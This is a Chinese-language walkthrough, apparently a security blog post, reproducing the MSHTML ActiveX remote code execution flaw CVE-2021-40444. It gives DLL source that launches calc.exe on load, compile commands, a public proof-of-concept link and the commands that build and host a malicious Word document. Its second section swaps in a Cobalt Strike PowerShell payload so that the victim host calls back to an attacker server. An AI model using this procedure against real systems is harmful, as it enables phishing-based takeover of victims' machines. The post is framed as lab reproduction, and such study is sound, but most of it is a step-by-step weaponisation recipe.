前言
微软MSHTML引擎存在代码执行漏洞,攻击者通过精心制作包含恶意ActiveX的Offcie文档,诱导用户打开,从而实现远程代码执行。当用户主机启用了ActiveX控件,攻击者可通过该漏洞控制受害者主机。
影响范围
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| WindowsServer,version20H2(ServerCoreInstallation) WindowsServer,version2004(ServerCoreinstallation) WindowsServer2022(ServerCoreinstallation) WindowsServer2022 WindowsServer2019(ServerCoreinstallation) WindowsServer2019 WindowsServer2016(ServerCoreinstallation) WindowsServer2016 WindowsServer2012R2(ServerCoreinstallation) WindowsServer2012R2 WindowsServer2012(ServerCoreinstallation) WindowsServer2012 WindowsServer2008forx64-basedSystemsServicePack2(ServerCoreinstallation) WindowsServer2008forx64-basedSystemsServicePack2 WindowsServer200832-bitSystemsServicePack2(ServerCoreinstallation) WindowsServer200832-bitSystemsServicePack2 WindowsServer2008R2forx64-basedSystemsServicePack1(ServerCoreinstallation) WindowsServer2008R2forx64-basedSystemsServicePack1 WindowsRT8.1 Windows8.1forx64-basedsystems Windows8.132-bitsystems Windows7forx64-basedSystemsServicePack1 Windows732-bitSystemsServicePack1 Windows10forx64-basedSystems Windows1032-bitSystems Windows10Version21H1forx64-basedSystems Windows10Version21H1forARM64-basedSystems Windows10Version21H132-bitSystems Windows10Version20H2forx64-basedSystems Windows10Version20H2forARM64-basedSystems Windows10Version20H232-bitSystems Windows10Version2004forx64-basedSystems Windows10Version2004forARM64-basedSystems Windows10Version200432-bitSystems Windows10Version1909forx64-basedSystems Windows10Version1909forARM64-basedSystems Windows10Version190932-bitSystems Windows10Version1809forx64-basedSystems Windows10Version1809forARM64-basedSystems Windows10Version180932-bitSystems Windows10Version1607forx64-basedSystems Windows10Version160732-bitSystems
|
漏洞复现
准备calc.c
文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| #include<windows.h>
void exec(void) { system("C:\\Windows\\System32\\calc.exe"); return; }
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { switch(fdwReason) { case DLL_PROCESS_ATTACH: exec(); break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: break; } return TRUE; }
|
编译为dll文件
1 2
| sudo apt-get install gcc-mingw-w64 i686-w64-mingw32-gcc -shared calc.c -o calc.dll
|
下载POC
下载地址:https://github.com/lockedbyte/CVE-2021-40444
将dll文件放到test目录下替换掉原有文件
![](https://img.sectime.top/imgs/2021/09/621de7d409bba311.png)
利用dll文件生成docx文档
1 2
| sudo python3 exploit.py generate test/calc.dll http://<SRVIP> # SRVIP为服务端IP
|
![](https://img.sectime.top/imgs/2021/09/a97fa0cd85ca7f23.png)
生成了out/document.docx、word.html和word.cab
开启web服务
1
| sudo python3 exploit.py host 80
|
![](https://img.sectime.top/imgs/2021/09/da44ee8055abd791.png)
把生成的document.docx上传到靶机,打开成功弹出计算器
![](https://img.sectime.top/imgs/2021/09/b84f256198f212f1.png)
漏洞利用
我们要目标弹出一个计算器有什么用呢?我们要想办法利用这个漏洞。
上线CS
在kali上启动一个CS
1
| sudo ./teamserver 192.168.45.129 123456
|
![](https://img.sectime.top/imgs/2021/09/267403cbd8e22577.png)
再打开客户端
![](https://img.sectime.top/imgs/2021/09/fa2fb8b0d40f69d9.png)
设置一个监听
![](https://img.sectime.top/imgs/2021/09/8709a1f341ac8755.png)
生成powershell command
![](https://img.sectime.top/imgs/2021/09/7573c4b1bc37809d.png)
修改calc.c
,把生成的payload替换,重命名为cs.c
![](https://img.sectime.top/imgs/2021/09/95509242bbbffb15.png)
把cs.c
编译为cs.dll
![](https://img.sectime.top/imgs/2021/09/667f88a9efc2a4a9.png)
把生成的cs.dll
复制到test目录下,运行脚本生成word文档
![](https://img.sectime.top/imgs/2021/09/d40bd5721f70f4fa.png)
开启web服务
1
| sudo python3 exploit.py host 80
|
把生成的文档上传到目标主机并打开,点击”启用编辑”
![](https://img.sectime.top/imgs/2021/09/e1350eab38d6fba1.png)
上线CS成功
![](https://img.sectime.top/imgs/2021/09/11202c1811f1eba9.png)